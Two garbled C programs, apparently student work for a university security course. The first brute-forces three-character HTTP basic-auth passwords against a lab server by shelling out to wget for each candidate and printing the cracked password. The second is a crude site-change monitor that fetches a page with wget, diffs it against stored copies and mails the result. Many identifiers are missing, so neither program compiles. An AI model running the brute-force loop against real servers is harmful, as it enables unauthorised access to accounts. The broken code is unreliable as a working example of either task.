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#include<stdlib.h>
#include<strings.h>
#include<sys/types.h>
#include<sys/times.h>
#include<sys/time.h>
#include<unistd.h>

int ()
{
  char url[80];
  char syscom[]= "wget -nv --http-user= --http-passwd=";
  char http[] = "http://sec-crack.cs.rmit.edu./SEC/2/";
  char [] ="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";

  char username[8];
  char pass[4];
  int i,j,k,hack=1;
  int attempt = 1;
  int , end, time_var;

   = time();
  for ( i = 0 ;i<strlen();i++)
    {
      pass[0]=[i];
      for( j = 0 ;j<strlen();j++)
        {
          pass[1]=[j];
          for ( k = 0 ;k<strlen();k++)
             {
               fflush(stdin);
               pass[2]=[k];
               pass[3]='\0';
               printf("%s\n",pass);

               sprintf(url,"%s%s %s",syscom,pass,http);
               hack = system(url);
               attempt++;
               if (hack == 0)
               {
                  end = time();
                  time_var = (end-);
                  printf("\nbr	The password is :%s",pass);
                  printf("\nNo. of Attempts   crack the password :%d",attempt);
                  printf("\nTime taken  crack the password = %lld sec\n",time_var/1000000000);
                  exit(1);
                }
              }
          }
      }
 }


#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>

int ()
{
  FILE *fh,*fp,*fp1,*d;
  char
  [10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100];
  sleep(60*60*24);
  system("wget http://www.cs.rmit.edu./students");
  if(system==0)
  {
   printf("File stored");
  }
  strcpy(filename,"index.html"); 
  if((fh=fopen(filename,"r"))==NULL)
  {
   printf("cannot open file\n");
   exit(1);
  }
  fp=fopen("index.txt","r");
  fp1=fopen("index1.txt","r");
 
  while((fgets(PassString,sizeof(PassString),fh))!= NULL)
  {
    fread(p,sizeof(PassString),sizeof(PassString),fh);
    printf(" contents %s\n",p);
    while((f1!=EOF) || (f2!=EOF))
    {
     f1=getc(fp);
     f2=getc(fp1);
     if(f1<f2)
     {
     strcpy(,p);
     fp=fopen("index.txt","r+b");
     fputs(,fp);
     fflush(fp); 
     fclose(fp); 
    }
    else
    {
      strcpy(temp1,p);
      fp1=fopen("index1.txt","r+b");
      fputs(temp1,fp1);
      fflush(fp1);
      fclose(fp1);
    }
    }
    if(system("diff -b -w index.txt index1.txt > Diff.txt")==0)
    {
      d=fopen("Diff.txt","r");
      if((fgets(,sizeof(),d))!=NULL)
      {
        printf("The difference between  exist");
	system("Mail \r\n Difference");
      }
      
    }
  }
 return 0;
  }
